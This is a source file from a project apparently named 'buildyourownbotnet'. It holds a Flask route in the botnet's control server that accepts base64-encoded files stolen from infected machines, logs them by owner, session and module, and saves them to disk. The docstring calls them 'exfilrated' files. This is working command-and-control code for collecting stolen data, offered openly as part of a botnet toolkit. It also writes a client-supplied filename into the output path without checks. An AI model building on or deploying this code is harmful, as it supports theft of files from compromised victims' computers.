Path: blob/master/web-gui/buildyourownbotnet/api/files/routes.py
1292 views
import os1import base642import string3import random4from flask import Blueprint, request5from buildyourownbotnet.core import generators6from buildyourownbotnet.core.dao import file_dao789# Blueprint10files = Blueprint('files', __name__)111213@files.route("/api/file/add", methods=["POST"])14def file_add():15"""Upload new exfilrated file."""16b64_data = request.form.get('data')17filetype = request.form.get('type')18owner = request.form.get('owner')19module = request.form.get('module')20session = request.form.get('session')21filename = request.form.get('filename')2223# decode any base64 values24try:25data = base64.b64decode(b64_data)26except:27if b64_data.startswith('_b64'):28data = base64.b64decode(b64_data[6:]).decode('ascii')29else:30print('/api/file/add error: invalid data ' + str(b64_data))31return32try:33session = base64.b64decode(session)34except:35try:36if session.startswith('_b64'):37session = base64.b64decode(session[6:]).decode('ascii')38except:39pass4041# add . to file extension if necessary42if not filetype:43filetype = '.dat'44elif not filetype.startswith('.'):45filetype = '.' + filetype4647# generate random filename if not specified48if not filename:49filename = generators.variable(length=3) + filetype5051output_path = os.path.join(os.getcwd(), 'buildyourownbotnet/output', owner, 'files', filename)5253# add exfiltrated file to database54file_dao.add_user_file(owner, filename, session, module)5556# save exfiltrated file to user directory57with open(output_path, 'wb') as fp:58fp.write(data)5960return filename616263